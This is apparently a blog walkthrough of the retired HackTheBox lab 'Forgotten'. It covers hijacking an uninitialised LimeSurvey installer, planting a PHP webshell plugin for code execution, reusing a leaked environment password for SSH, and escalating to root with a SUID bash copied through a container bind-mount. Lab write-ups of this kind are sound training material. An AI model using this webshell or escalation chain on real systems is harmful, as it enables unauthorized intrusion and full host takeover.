~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / forgotten.md

forgotten

Linux · Easy · released 2025-09-20 · retired 2025-09-16

Summary

Forgotten is an Easy Linux box where the web app at /survey is an uninitialised LimeSurvey 6.3.7. Because it’s pre-init, an attacker can point the installer at their own MySQL and create the admin account themselves. LimeSurvey’s super-admin role can edit PHP plugins; ship a webshell plugin → RCE as limesvc inside the container. Container env has LIMESURVEY_PASS reused for SSH on the host. From limesvc on the host: the container’s /var/www/html/survey is bind-mounted from the host’s /opt/limesurvey, and inside the container limesvc has sudo — copy bash to that mount with SUID, run as root from the host.

The chain:

  1. /survey shows LimeSurvey installer (uninitialised).
  2. Run a local MySQL, point the installer at it, create admin account.
  3. Upload malicious LimeSurvey plugin (PHP webshell in 0xdf.php + minimal config.xml); install; visit endpoint → RCE as limesvc (container).
  4. env | grep LIMESURVEYLIMESURVEY_PASS=<redacted>. ssh limesvc@<host> works (password reuse).
  5. Inside container: sudo -i (limesvc has full sudo there). /var/www/html/survey is the host’s /opt/limesurvey bind-mount. cp /bin/bash /var/www/html/survey/rb && chmod 6777 /var/www/html/survey/rb. From host: /opt/limesurvey/rb -p → root.

Recon

22/tcp     OpenSSH
80/tcp     Apache 2.4.56 (in container) → /survey is LimeSurvey 6.3.7 installer

Foothold — install LimeSurvey, plugin webshell

Set up local MySQL on attacker box, allow it from the target’s egress (or from a proxychains tunnel if needed). Run the installer:

Now log in. Settings → Plugin Manager → Install. Plugin zip:

0xdfPlugin/
  config.xml   <metadata>
  0xdf.php     <?php system($_REQUEST['cmd']); ?>

Install + activate. Reach http://<TARGET>/survey/upload/plugins/0xdfPlugin/0xdf.php?cmd=id. RCE as limesvc.

Container → host

$ env | grep -i lime
LIMESURVEY_PASS=<redacted>

ssh limesvc@<TARGET> accepts.

Host root — bind-mount + sudo in container

# inside container (limesvc has full sudo there)
sudo cp /bin/bash /var/www/html/survey/rb
sudo chmod 6777 /var/www/html/survey/rb

# on host
/opt/limesurvey/rb -p
# uid=0

The container’s /var/www/html/survey is bind-mounted from the host’s /opt/limesurvey; SUID bits survive across the bind because it’s the same filesystem.

Why each step worked

Counterfactuals

Driving the installer non-interactively

LimeSurvey 6.x’s installer is a multi-step web wizard. From the attacker side a Python requests.Session walks all stages without a browser, but two LimeSurvey-isms make the request flow non-obvious:

  1. Path-style URLs render the form, query-string URLs render a stub. /survey/index.php?r=admin/authentication/sa/login returns a 1000-line page where the “login form” is just a language selector — the actual <form id="loginform"> with user/password/YII_CSRF_TOKEN only appears under /survey/index.php/admin/authentication/sa/login. Going via the path-style route both for the GET (to extract CSRF) and for the POST is required. Going via query-string returns 400 “CSRF token could not be verified” because the GET response never embedded a token.
  2. Pre-check is a redirect, not a form post. After the welcome and license POSTs (each accepts a CSRF token + minimal payload), installer/precheck is static — its only “Next” element is a <input type="button" onclick="window.open('/survey/...installer/database')">, not a form. The flow needs GET ?r=installer/database here, not POST ?r=installer/precheck. Posting precheck returns 400 because the precheck page has no CSRF input to seed the next request.

Once those two are right, the rest of the wizard is straightforward form posts through database → createdb → populatedb → optional (admin-user creation) → done.

A complete driver script — handles CSRF, cookie-jar, all the steps above — lives at notes/engagements/forgotten/scripts/install_v5.py and scripts/login_path.py.

Note the MariaDB user-creation gotcha that cost real time: a CREATE USER IF NOT EXISTS … IDENTIFIED BY 'pw' is a no-op for the password if the user already exists from a prior run. The user is present, the host wildcard % matches, but the password remains the old value, and the installer’s “CDbConnection failed to open the DB connection” / “Could not create database” error doesn’t make the auth nature of the failure obvious. Always ALTER USER … IDENTIFIED BY 'pw' (or pre-DROP USER) when seeding the lure DB; verify with mysql -h <KALI> -u <user> -p<pw> -e 'SELECT 1' from a fresh shell before pointing the installer at it.

← all htb machines hackthebox.com ↗